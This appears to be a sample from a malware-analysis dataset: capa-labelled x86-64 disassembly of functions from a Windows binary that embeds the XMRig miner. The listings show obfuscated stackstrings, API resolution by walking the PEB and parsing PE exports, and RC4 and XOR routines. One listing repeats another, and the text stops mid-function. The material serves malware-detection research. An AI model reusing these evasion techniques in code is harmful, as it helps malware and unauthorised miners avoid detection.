joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000aa60
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r14
push r15
mov rbp, rsp
sub rsp, 0x40
mov rbx, qword [0x1400181c0]
lea rcx, [rbp - 0x20]
mov dword [rbp - 0x20], 0x1001c
mov dword [rbp - 0x1c], 0x650011
mov dword [rbp - 0x18], 0x5a0006
mov dword [rbp - 0x14], 0x4f005f
mov dword [rbp - 0x10], 0x90003
mov dword [rbp - 0xc], 0x9001f
call fcn.1400029c0
mov rcx, rax
call rbx
mov rbx, qword [0x1400181c0]
lea rcx, [rbp - 0x20]
mov qword [0x1400181a0], rax
mov dword [rbp - 0x20], 0x18
mov dword [rbp - 0x1c], 0x60001a
mov dword [rbp - 0x18], 0xc0004
mov dword [rbp - 0x14], 0x4f0019
mov dword [rbp - 0x10], 0x90003
mov dword [rbp - 0xc], 0x9001f
call fcn.1400029c0
mov rcx, rax
call rbx
movdqa xmm0, xmmword [0x140017540]
lea rcx, [rbp - 0x20]
mov rbx, qword [0x140018130]
movdqu xmmword [rbp - 0x20], xmm0
mov qword [0x1400181b0], rax
mov word [rbp - 0x10], 0x5e05
mov byte [rbp - 0xe], 0x63
call fcn.140004620
mov rcx, qword [0x1400181a0]
mov rdx, rax
call rbx
mov rbx, qword [0x140018130]
lea rcx, [rbp - 0x20]
mov dword [rbp - 0x20], 0x6511011c
mov dword [rbp - 0x1c], 0x4152c06
mov dword [rbp - 0x18], 0x6c071004
mov word [rbp - 0x14], 0x6834
call fcn.140001180
mov rcx, qword [0x1400181a0]
mov rdx, rax
call rbx
mov rbx, qword [0x140018130]
lea rcx, [rbp - 0x20]
mov dword [rbp - 0x20], 0x6c000706
mov dword [rbp - 0x1c], 0x15080718
mov dword [rbp - 0x18], 0x67161528
mov word [rbp - 0x14], 0x6822
call fcn.140001180
mov rcx, qword [0x1400181b0]
mov rdx, rax
call rbx
movdqa xmm0, xmmword [0x140017590]
lea rcx, [rbp - 0x20]
mov rbx, qword [0x140018130]
movdqu xmmword [rbp - 0x20], xmm0
mov qword [0x1400180e8], rax
mov byte [rbp - 0x10], 0x73
call fcn.140004330
mov rcx, qword [0x1400181b0]
mov rdx, rax
call rbx
movdqa xmm0, xmmword [0x1400174e0]
lea rcx, [rbp - 0x20]
mov rbx, qword [0x140018130]
movdqu xmmword [rbp - 0x20], xmm0
mov qword [0x1400180f0], rax
mov dword [rbp - 0x10], 0x69066517
call fcn.140002660
mov rcx, qword [0x1400181b0]
mov rdx, rax
call rbx
movdqa xmm0, xmmword [0x140017520]
lea rcx, [rbp - 0x20]
mov rbx, qword [0x140018130]
movdqu xmmword [rbp - 0x20], xmm0
mov qword [0x1400180e0], rax
mov byte [rbp - 0x10], 0x73
call fcn.140004330
mov rcx, qword [0x1400181b0]
mov rdx, rax
call rbx
movdqa xmm0, xmmword [0x140017560]
lea rcx, [rbp - 0x20]
mov rbx, qword [0x140018130]
movdqu xmmword [rbp - 0x20], xmm0
mov qword [0x1400180d8], rax
mov dword [rbp - 0x10], 0x280d661a
mov byte [rbp - 0xc], 0x76
call fcn.140003130
mov rcx, qword [0x1400181b0]
mov rdx, rax
call rbx
movdqa xmm0, xmmword [0x1400174d0]
lea rcx, [rbp - 0x20]
mov rbx, qword [0x140018130]
movdqu xmmword [rbp - 0x20], xmm0
mov word [rbp - 0x10], 0x481d
mov byte [rbp - 0xe], 0x63
call fcn.140004620
mov rcx, qword [0x1400181b0]
mov rdx, rax
mov rax, rbx
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
mov rdi, qword [rsp + 0x70]
add rsp, 0x40
pop r15
pop r14
pop rbp
jmp rax
Function at 0x14000b8a0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push rbp
push r14
push r15
mov rbp, rsp
sub rsp, 0x40
mov eax, 0x73
mov dword [rbp - 0x20], 0x2c0004
lea rcx, [rbp - 0x20]
mov word [rbp - 0xc], ax
mov dword [rbp - 0x1c], 0x470026
mov dword [rbp - 0x18], 0x25002f
mov dword [rbp - 0x14], 0x20002f
mov dword [rbp - 0x10], 0x200034
call fcn.140004fd0
mov rcx, rax
call 0x14000d700
mov qword [0x1400181b8], rax
lea rcx, [rbp - 0x20]
mov eax, 0x67
mov dword [rbp - 0x20], 0x2c0004
mov word [rbp - 0x10], ax
mov dword [rbp - 0x1c], 0x470026
mov dword [rbp - 0x18], 0x25002f
mov dword [rbp - 0x14], 0x53005e
call fcn.1400022a0
mov rcx, rax
call 0x14000d700
lea rcx, [rbp - 0x20]
mov qword [0x1400181a8], rax
mov dword [rbp - 0x20], 0x1d0021
mov dword [rbp - 0x1c], 0x650010
mov dword [rbp - 0x18], 0x690006
call fcn.140004e60
mov rcx, rax
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
mov rdi, qword [rsp + 0x70]
mov r12, qword [rsp + 0x78]
add rsp, 0x40
pop r15
pop r14
pop rbp
jmp 0x14000d700
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rax, qword gs:[0x60]
mov rsi, rcx
mov rdi, qword [rax + 0x18]
add rdi, 0x20
mov rbx, qword [rdi]
cmp rbx, rdi
je 0x14000d762
nop dword [rax + rax]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov rcx, rax
mov r8d, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rcx, qword [rbx + 0x40]
mov rdx, rsi
mov r8, rax
call fcn.14000b990
test al, al
jne 0x14000d774
mov rbx, qword [rbx]
cmp rbx, rdi
jne 0x14000d730
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
mov rax, qword [rbx + 0x20]
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
Function at 0x14000bc40
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 8], rcx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov rbp, rsp
sub rsp, 0x70
movsxd rax, dword [rcx + 0x3c]
mov r12, rdx
mov rdx, rcx
mov ecx, dword [rax + rcx + 0x88]
xor eax, eax
add rcx, rdx
mov dword [rbp - 0x2c], eax
mov qword [rbp - 0x28], rcx
mov r8d, dword [rcx + 0x1c]
mov r9d, dword [rcx + 0x20]
add r8, rdx
mov r10d, dword [rcx + 0x24]
add r9, rdx
add r10, rdx
mov qword [rbp - 0x20], r8
mov qword [rbp - 0x18], r9
mov qword [rbp - 0x10], r10
cmp dword [rcx + 0x18], eax
jbe 0x14000be6e
mov word [rbp + 0x50], 0x694f
mov word [rbp + 0x58], 0x694f
nop
mov esi, dword [r9 + rax*4]
lea rcx, [rbp + 0x50]
movzx eax, word [r10 + rax*2]
add rsi, rdx
xor edi, edi
mov r15d, dword [r8 + rax*4]
add r15, rdx
mov qword [rbp - 8], r15
call fcn.140001770
movzx ecx, byte [rax]
cmp byte [rsi], cl
je 0x14000bcf4
nop dword [rax]
lea rcx, [rbp + 0x50]
inc rdi
call fcn.140001770
movzx ecx, byte [rax]
cmp byte [rdi + rsi], cl
jne 0x14000bce0
lea rcx, [rbp + 0x58]
xor ebx, ebx
call fcn.140001770
movzx ecx, byte [rax]
cmp byte [r12], cl
je 0x14000bd25
nop dword [rax + rax]
lea rcx, [rbp + 0x58]
inc rbx
call fcn.140001770
movzx ecx, byte [rax]
cmp byte [rbx + r12], cl
jne 0x14000bd10
cmp rdi, rbx
jne 0x14000be42
mov r13, rsi
mov word [rbp - 0x50], 0x694f
sub r13, r12
mov r14, r12
nop dword [rax]
lea rcx, [rbp - 0x50]
xor ebx, ebx
call fcn.140001770
movzx ecx, byte [rax]
cmp byte [rsi], cl
je 0x14000bd66
lea rcx, [rbp - 0x50]
inc rbx
call fcn.140001770
movzx ecx, byte [rax]
cmp byte [rbx + rsi], cl
jne 0x14000bd52
mov rax, r14
sub rax, r12
dec rbx
cmp rax, rbx
jae 0x14000be68
movsx r15d, byte [r14 + r13]
lea rcx, [rbp - 0x4e]
mov dword [rbp - 0x4e], 0x69002e
call fcn.140002490
movzx eax, word [rax]
cmp r15d, eax
jl 0x14000bdd8
lea rcx, [rbp - 0x4a]
mov dword [rbp - 0x4a], 0x690035
call fcn.140002490
movzx ecx, word [rax]
cmp r15d, ecx
jg 0x14000bdd8
lea rcx, [rbp - 0x46]
mov dword [rbp - 0x46], 0x69002e
mov dword [rbp - 0x42], 0x69000e
call fcn.140002490
lea rcx, [rbp - 0x42]
movzx ebx, byte [rax]
call fcn.140002490
movzx ecx, byte [rax]
sub cl, bl
add r15b, cl
movsx edi, byte [r14]
lea rcx, [rbp - 0x3e]
mov dword [rbp - 0x3e], 0x69002e
call fcn.140002490
movzx eax, word [rax]
cmp edi, eax
jl 0x14000be35
lea rcx, [rbp - 0x3a]
mov dword [rbp - 0x3a], 0x690035
call fcn.140002490
movzx ecx, word [rax]
cmp edi, ecx
jg 0x14000be35
lea rcx, [rbp - 0x36]
mov dword [rbp - 0x36], 0x69002e
mov dword [rbp - 0x32], 0x69000e
call fcn.140002490
lea rcx, [rbp - 0x32]
movzx ebx, byte [rax]
call fcn.140002490
movzx ecx, byte [rax]
sub cl, bl
add dil, cl
cmp r15b, dil
jne 0x14000be42
inc r14
jmp 0x14000bd40
mov eax, dword [rbp - 0x2c]
mov rcx, qword [rbp - 0x28]
inc eax
mov dword [rbp - 0x2c], eax
cmp eax, dword [rcx + 0x18]
jae 0x14000be6e
mov rdx, qword [rbp + 0x40]
mov r8, qword [rbp - 0x20]
mov r9, qword [rbp - 0x18]
mov r10, qword [rbp - 0x10]
jmp 0x14000bcb0
mov rax, qword [rbp - 8]
jmp 0x14000be70
xor eax, eax
mov rbx, qword [rsp + 0xb8]
add rsp, 0x70
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x14000d700
Capabilities:
Access peb ldr_data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push rbp
push r14
push r15
mov rbp, rsp
sub rsp, 0x40
mov eax, 0x73
mov dword [rbp - 0x20], 0x2c0004
lea rcx, [rbp - 0x20]
mov word [rbp - 0xc], ax
mov dword [rbp - 0x1c], 0x470026
mov dword [rbp - 0x18], 0x25002f
mov dword [rbp - 0x14], 0x20002f
mov dword [rbp - 0x10], 0x200034
call fcn.140004fd0
mov rcx, rax
call 0x14000d700
mov qword [0x1400181b8], rax
lea rcx, [rbp - 0x20]
mov eax, 0x67
mov dword [rbp - 0x20], 0x2c0004
mov word [rbp - 0x10], ax
mov dword [rbp - 0x1c], 0x470026
mov dword [rbp - 0x18], 0x25002f
mov dword [rbp - 0x14], 0x53005e
call fcn.1400022a0
mov rcx, rax
call 0x14000d700
lea rcx, [rbp - 0x20]
mov qword [0x1400181a8], rax
mov dword [rbp - 0x20], 0x1d0021
mov dword [rbp - 0x1c], 0x650010
mov dword [rbp - 0x18], 0x690006
call fcn.140004e60
mov rcx, rax
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
mov rdi, qword [rsp + 0x70]
mov r12, qword [rsp + 0x78]
add rsp, 0x40
pop r15
pop r14
pop rbp
jmp 0x14000d700
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rax, qword gs:[0x60]
mov rsi, rcx
mov rdi, qword [rax + 0x18]
add rdi, 0x20
mov rbx, qword [rdi]
cmp rbx, rdi
je 0x14000d762
nop dword [rax + rax]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov rcx, rax
mov r8d, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rcx, qword [rbx + 0x40]
mov rdx, rsi
mov r8, rax
call fcn.14000b990
test al, al
jne 0x14000d774
mov rbx, qword [rbx]
cmp rbx, rdi
jne 0x14000d730
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
mov rax, qword [rbx + 0x20]
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
Function at 0x140017be0
Capabilities:
Get hostname

Disassembly:
push rbx
sub rsp, 0x140
mov rax, qword [0x1404f1628]
xor rax, rsp
mov qword [rsp + 0x130], rax
mov rbx, rcx
mov qword [rsp + 0x20], rcx
lea rcx, [rsp + 0x30]
xor edx, edx
mov r8d, 0x100
call fcn.14034a050
mov edx, 0x100
lea rcx, [rsp + 0x30]
call qword [sym.imp.WS2_32.dll_gethostname]
test eax, eax
jne 0x140017c6e
xor eax, eax
mov rcx, 0xffffffffffffffff
mov qword [rbx], rax
lea rax, [rsp + 0x30]
nop word [rax + rax]
inc rcx
cmp byte [rax + rcx], 0
jne 0x140017c40
mov qword [rbx + 8], rcx
inc rcx
call fcn.140347888
mov r8, qword [rbx + 8]
lea rdx, [rsp + 0x30]
inc r8
mov qword [rbx], rax
mov rcx, rax
call fcn.1403499a0
jmp 0x140017c7d
xor eax, eax
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx], rax
mov qword [rbx + 8], rax
mov rax, rbx
mov rcx, qword [rsp + 0x130]
xor rcx, rsp
call fcn.140347310
add rsp, 0x140
pop rbx
ret

Function at 0x1400192c0
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
movabs rax, 0xcbf29ce484222325
mov r9d, 0
sub r8, rdx
je 0x1400192f4
movabs r10, 0x100000001b3
nop
movzx ecx, byte [r9 + rdx]
inc r9
xor rax, rcx
imul rax, r10
cmp r9, r8
jb 0x1400192e0
ret
Function at 0x14001f4a0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov rcx, qword [rcx + 8]
jmp 0x14001fc50
mov qword [rsp + 0x10], rbx
push rsi
sub rsp, 0x40
mov rax, qword [0x1404f1628]
xor rax, rsp
mov qword [rsp + 0x38], rax
cmp word [rcx + 0xe], 3
movzx esi, r8b
mov rbx, rcx
jne 0x14001fd11
cmp dword [rcx], 0
je 0x14001fd11
mov eax, 0x405
xorps xmm0, xmm0
movups xmmword [rsp + 0x28], xmm0
mov word [rsp + 0x36], ax
movabs rcx, 0xffff000000000000
mov rax, qword [rsp + 0x30]
and rax, rcx
or rax, rdx
mov qword [rsp + 0x30], rax
mov rax, 0xffffffffffffffff
inc rax
cmp byte [rdx + rax], 0
jne 0x14001fcb7
lea r8, [rsp + 0x28]
mov dword [rsp + 0x28], eax
lea rdx, [rsp + 0x20]
mov rcx, rbx
call fcn.140020f60
mov ecx, dword [rbx]
movabs rdx, 0xffffffffffff
mov rax, qword [rbx + 8]
and rax, rdx
shl rcx, 5
add rcx, rax
mov rax, qword [rsp + 0x20]
cmp rax, rcx
je 0x14001fd11
movzx ecx, word [rax + 0x1e]
movzx eax, cl
shr al, 3
test al, 1
je 0x14001fd11
cmp cx, 0xa
sete al
jmp 0x14001fd15
movzx eax, sil
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.140347310
mov rbx, qword [rsp + 0x58]
add rsp, 0x40
pop rsi
ret
Function at 0x140022730
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x90
movaps xmmword [rax - 0x28], xmm6
movaps xmmword [rax - 0x38], xmm7
movaps xmmword [rax - 0x48], xmm8
movaps xmmword [rax - 0x58], xmm9
movaps xmmword [rax - 0x68], xmm10
mov rax, qword [0x1404f1628]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov rdi, qword [rcx + 0x10]
movaps xmm10, xmm2
mov rbx, rdx
mov rsi, rcx
cmp rdi, qword [rcx + 8]
je 0x140022923
movsd xmm7, qword [0x1404b6700]
movabs rbp, 0x8000000000000000
movsd xmm6, qword [0x1404b66f8]
mov r14d, 0x405
movsd xmm9, qword [0x1404b6718]
movabs r15, 0xffff000000000000
movabs r12, 0xffffffffffff
xorps xmm8, xmm8
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x28], xmm0
mov word [rsp + 0x36], r14w
mov rax, qword [rsp + 0x30]
and rax, r15
or rax, rbx
mov qword [rsp + 0x30], rax
mov rax, 0xffffffffffffffff
inc rax
cmp byte [rbx + rax], 0
jne 0x1400227f5
add rdi, 0xffffffffffffffa0
mov dword [rsp + 0x28], eax
mov rcx, rdi
lea r8, [rsp + 0x28]
lea rdx, [rsp + 0x20]
call fcn.140020f60
mov edx, dword [rdi]
mov rax, qword [rdi + 8]
mov rcx, qword [rsp + 0x20]
and rax, r12
shl rdx, 5
add rdx, rax
cmp rcx, rdx
je 0x140022919
movzx eax, word [rcx + 0x1e]
shr ax, 9
test al, 1
jne 0x140022974
movzx edx, word [rcx + 0x1e]
movzx eax, dl
shr al, 4
test al, 1
je 0x140022919
movzx eax, dx
shr ax, 8
test al, 1
je 0x1400228d2
mov rdx, qword [rcx + 0x10]
xorps xmm0, xmm0
test rdx, rdx
js 0x140022876
cvtsi2sd xmm0, rdx
jmp 0x14002288e
mov rax, rdx
mov rcx, rdx
shr rcx, 1
and eax, 1
or rcx, rax
cvtsi2sd xmm0, rcx
addsd xmm0, xmm0
movsd qword [rsp + 0x28], xmm0
movsd xmm0, qword [rsp + 0x28]
comisd xmm0, xmm8
jb 0x140022919
movsd xmm0, qword [rsp + 0x28]
comisd xmm7, xmm0
jbe 0x140022919
movsd xmm0, qword [rsp + 0x28]
xor ecx, ecx
comisd xmm0, xmm6
jb 0x1400228c8
subsd xmm0, xmm6
comisd xmm0, xmm6
jae 0x1400228c8
mov rcx, rbp
cvttsd2si rax, xmm0
add rax, rcx
jmp 0x140022914
shr dl, 7
test dl, 1
je 0x140022974
mov rdx, qword [rcx + 0x10]
xorps xmm0, xmm0
cvtsi2sd xmm0, rdx
movsd qword [rsp + 0x28], xmm0
movsd xmm1, qword [rsp + 0x28]
comisd xmm1, xmm9
jb 0x140022919
movsd xmm0, qword [rsp + 0x28]
comisd xmm6, xmm0
jbe 0x140022919
movsd xmm0, qword [rsp + 0x28]
cvttsd2si rax, xmm0
cmp rdx, rax
je 0x14002296f
cmp rdi, qword [rsi + 8]
jne 0x1400227d0
movaps xmm0, xmm10
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.140347310
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [rsp + 0x70]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
mov rsp, r11
pop r15
pop r14
pop r12
ret
mov rcx, qword [rsp + 0x20]
add rcx, 0x10
call fcn.140020a60
jmp 0x140022927
Function at 0x140025be0
Capabilities:
Set console window title

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x40
mov rdi, rdx
mov rsi, rcx
lea rax, vtable.xmrig::ConsoleLog.0
mov qword [rcx], rax
xor ebp, ebp
mov qword [rcx + 8], rbp
mov qword [rcx + 0x10], rbp
lea ecx, [rbp + 1]
call fcn.14030dc30
cmp eax, 0xe
je 0x140025c20
cmp eax, 7
jne 0x140025c4c
mov ecx, 0x158
call fcn.140347330
mov rbx, rax
mov qword [rsi + 8], rax
call fcn.14030e310
mov rcx, rax
xor r9d, r9d
lea r8d, [r9 + 1]
mov rdx, rbx
call fcn.140311e20
test eax, eax
jns 0x140025c58
mov byte [0x1404f2328], bpl
jmp 0x140025da3
xor edx, edx
mov rcx, qword [rsi + 8]
call fcn.140312330
mov rax, qword [rsi + 8]
mov qword [rsi + 0x10], rax
mov ecx, 0xfffffff6
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140025cad
mov dword [rsp + 0x50], ebp
lea rdx, [rsp + 0x50]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetConsoleMode]
test eax, eax
je 0x140025cad
mov edx, dword [rsp + 0x50]
and edx, 0xffffffbf
mov dword [rsp + 0x50], edx
bts edx, 7
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetConsoleMode]
cmp byte [rdi], bpl
je 0x140025da3
cmp qword [rdi + 8], rbp
jne 0x140025ced
mov ecx, reloc.WS2_32.dll_listen
call fcn.140347888
mov rbx, rax
movsd xmm0, qword [str.XMRig_6.21.0]
movsd qword [rax], xmm0
mov eax, dword [0x1404a9cf0]
mov dword [rbx + 8], eax
movzx eax, byte [0x1404a9cf4]
mov byte [rbx + 0xc], al
jmp 0x140025d92
mov qword [rsp + 0x20], rbp
mov qword [rsp + 0x28], rbp
mov ecx, 0x40
call fcn.140347330
mov qword [rax], rax
mov qword [rax + 8], rax
mov qword [rax + 0x10], rax
mov word [rax + 0x18], 0x101
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x20]
mov rdx, qword [rdi + 8]
lea rcx, [rsp + 0x30]
call fcn.140016c60
nop
mov rcx, qword [rsp + 0x20]
mov rdi, qword [rcx + 8]
cmp byte [rdi + 0x19], 0
jne 0x140025d83
nop word [rax + rax]
mov r8, qword [rdi + 0x10]
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x20]
call fcn.14001a0d0
mov rbx, rdi
mov rdi, qword [rdi]
mov rcx, qword [rbx + 0x30]
call fcn.14034736c
mov rcx, qword [rbx + 0x20]
call fcn.14034736c
mov edx, 0x40
mov rcx, rbx
call fcn.14034736c
cmp byte [rdi + 0x19], 0
je 0x140025d40
mov rcx, qword [rsp + 0x20]
mov edx, 0x40
call fcn.14034736c
mov rbx, qword [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
mov rcx, rbx
call fcn.14034736c
mov rax, rsi
mov rbx, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
add rsp, 0x40
pop rdi
ret
Function at 0x14004b7e0
Capabilities:
Enumerate pe sections

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
movzx eax, byte [rcx + 6]
mov rdx, rcx
movzx r8d, byte [rcx + 7]
movzx esi, byte [rcx + 0xb]
movzx ebp, byte [rcx + 0xf]
movzx r11d, byte [rcx + 0x13]
movzx ebx, byte [rcx + 0x17]
movzx edi, byte [rcx + 0x1b]
movzx r14d, byte [rcx + 0x1f]
shl r8, 8
or r8, rax
shl rsi, 8
movzx eax, byte [rcx + 5]
shl rbp, 8
shl r11, 8
shl rbx, 8
shl rdi, 8
shl r14, 8
shl r8, 8
or r8, rax
movzx eax, byte [rcx + 4]
shl r8, 8
or r8, rax
movzx eax, byte [rcx + 0xa]
or rsi, rax
movzx eax, byte [rcx + 9]
shl rsi, 8
or rsi, rax
movzx eax, byte [rcx + 8]
shl rsi, 8
or rsi, rax
movzx eax, byte [rcx + 0xe]
or rbp, rax
movzx eax, byte [rcx + 0xd]
shl rbp, 8
or rbp, rax
movzx eax, byte [rcx + 0xc]
shl rbp, 8
or rbp, rax
movzx eax, byte [rcx + 0x12]
or r11, rax
movzx eax, byte [rcx + 0x11]
shl r11, 8
or r11, rax
movzx eax, byte [rcx + 0x10]
shl r11, 8
or r11, rax
movzx eax, byte [rcx + 0x16]
or rbx, rax
movzx eax, byte [rcx + 0x15]
shl rbx, 8
or rbx, rax
movzx eax, byte [rcx + 0x14]
shl rbx, 8
or rbx, rax
movzx eax, byte [rcx + 0x1a]
or rdi, rax
movzx eax, byte [rcx + 0x19]
shl rdi, 8
or rdi, rax
movzx eax, byte [rcx + 0x18]
shl rdi, 8
or rdi, rax
movzx eax, byte [rcx + 0x1e]
or r14, rax
movzx eax, byte [rcx + 0x1d]
shl r14, 8
or r14, rax
movzx eax, byte [rcx + 0x1c]
movzx ecx, byte [rcx + 3]
shl rcx, 8
shl r14, 8
or r14, rax
movzx eax, byte [rdx + 2]
or rcx, rax
movzx eax, byte [rdx + 1]
shl rcx, 8
or rcx, rax
movzx eax, byte [rdx]
shl rcx, 8
or rcx, rax
mov edx, 0x5cf5d3ec
mov eax, 1
sub rdx, rcx
test rdx, rdx
jle 0x14004b93a
mov r10d, eax
jmp 0x14004b947
xor r10d, r10d
test rdx, rdx
setns r10b
dec r10d
mov ecx, 0x5812631a
sub rcx, r8
test rcx, rcx
jle 0x14004b959
mov r9d, eax
jmp 0x14004b966
xor r9d, r9d
test rcx, rcx
setns r9b
dec r9d
mov ecx, 0xa2f79cd6
sub rcx, rsi
test rcx, rcx
jle 0x14004b978
mov r8d, eax
jmp 0x14004b985
xor r8d, r8d
test rcx, rcx
setns r8b
dec r8d
mov ecx, 0x14def9de
sub rcx, rbp
test rcx, rcx
jle 0x14004b996
mov edx, eax
jmp 0x14004b9a0
xor edx, edx
test rcx, rcx
setns dl
dec edx
mov ecx, 0x10000000
neg r11
sub rcx, r14
neg rbx
neg rdi
test rcx, rcx
jg 0x14004b9c0
xor eax, eax
test rcx, rcx
setns al
dec eax
mov rbp, qword [rsp + 0x18]
mov rsi, qword [rsp + 0x20]
cdqe
sar rdi, 0x3f
sar rbx, 0x3f
sar r11, 0x3f
lea rcx, [rdi + rax*2]
mov rdi, qword [rsp + 0x28]
lea rax, [rbx + rcx*2]
mov rbx, qword [rsp + 0x10]
lea rcx, [r11 + rax*2]
movsxd rax, edx
lea rdx, [rax + rcx*2]
movsxd rax, r8d
lea rcx, [rax + rdx*2]
movsxd rax, r9d
lea rdx, [rax + rcx*2]
movsxd rax, r10d
lea rax, [rax + rdx*2]
sar rax, 8
pop r14
ret
Function at 0x14004cde0
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r12
push r14
push r15
mov r15d, edx
lea r14d, [rdx - 1]
mov rdi, rcx
xor r12d, r12d
nop word [rax + rax]
mov esi, r12d
mov ebp, r12d
test r14d, r14d
je 0x14004cfea
mov r8, qword [rdi + 8]
nop dword [rax]
nop word [rax + rax]
lea ecx, [r8 + 0xff]
shl esi, cl
add esi, esi
nop dword [rax + rax]
mov r10, qword [rdi]
mov ecx, dword [r10]
cmp ecx, 0x270
jne 0x14004cea4
lea rax, [r10 + 8]
mov r9d, ecx
nop word [rax + rax]
mov r8d, dword [rax - 4]
xor r8d, dword [rax]
lea rax, [rax + 4]
btr r8d, 0x1f
xor r8d, dword [rax - 8]
mov ecx, r8d
and cl, 1
neg cl
sbb edx, edx
shr r8d, 1
and edx, 0x9908b0df
xor edx, dword [rax + 0x62c]
xor edx, r8d
mov dword [rax + 0x9b8], edx
sub r9, 1
jne 0x14004ce60
mov ecx, dword [r10]
jmp 0x14004cf87
cmp ecx, 0x4e0
jb 0x14004cf87
lea r11, [r10 + 0x9c4]
mov ebx, 0xe3
mov eax, dword [r11]
nop
mov edx, dword [r11 + 4]
lea r8, [r11 + 4]
xor edx, eax
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
mov eax, dword [r8]
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r11 + 0x634]
xor ecx, edx
mov dword [r11 - 0x9c0], ecx
lea r11, [r8]
sub rbx, 1
jne 0x14004cec0
lea r11, [r10 + 0xd50]
mov ebx, 0x18c
mov eax, dword [r11]
nop dword [rax + rax]
mov edx, eax
lea r8, [r11 + 4]
xor edx, dword [r8]
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
mov eax, dword [r8]
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r11 - 0xd4c]
xor ecx, edx
mov dword [r11 - 0x9c0], ecx
lea r11, [r8]
sub rbx, 1
jne 0x14004cf10
mov edx, dword [r10 + 0x1380]
xor edx, dword [r10 + 4]
btr edx, 0x1f
xor edx, dword [r10 + 0x1380]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r10 + 0x634]
xor ecx, edx
mov dword [r10 + 0x9c0], ecx
mov ecx, r12d
mov dword [r10], r12d
mov eax, ecx
mov edx, dword [r10 + rax*4 + 4]
lea eax, [rcx + 1]
mov dword [r10], eax
mov ecx, edx
mov eax, dword [r10 + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
xor eax, edx
mov edx, dword [rdi + 0x10]
cmp eax, edx
ja 0x14004ce40
mov r8, qword [rdi + 8]
or esi, eax
lea ecx, [r8 + 0xff]
shl ebp, cl
add ebp, ebp
or ebp, edx
cmp ebp, r14d
jb 0x14004ce30
xor edx, edx
mov eax, ebp
div r15d
mov ecx, eax
mov r8d, edx
xor edx, edx
mov eax, esi
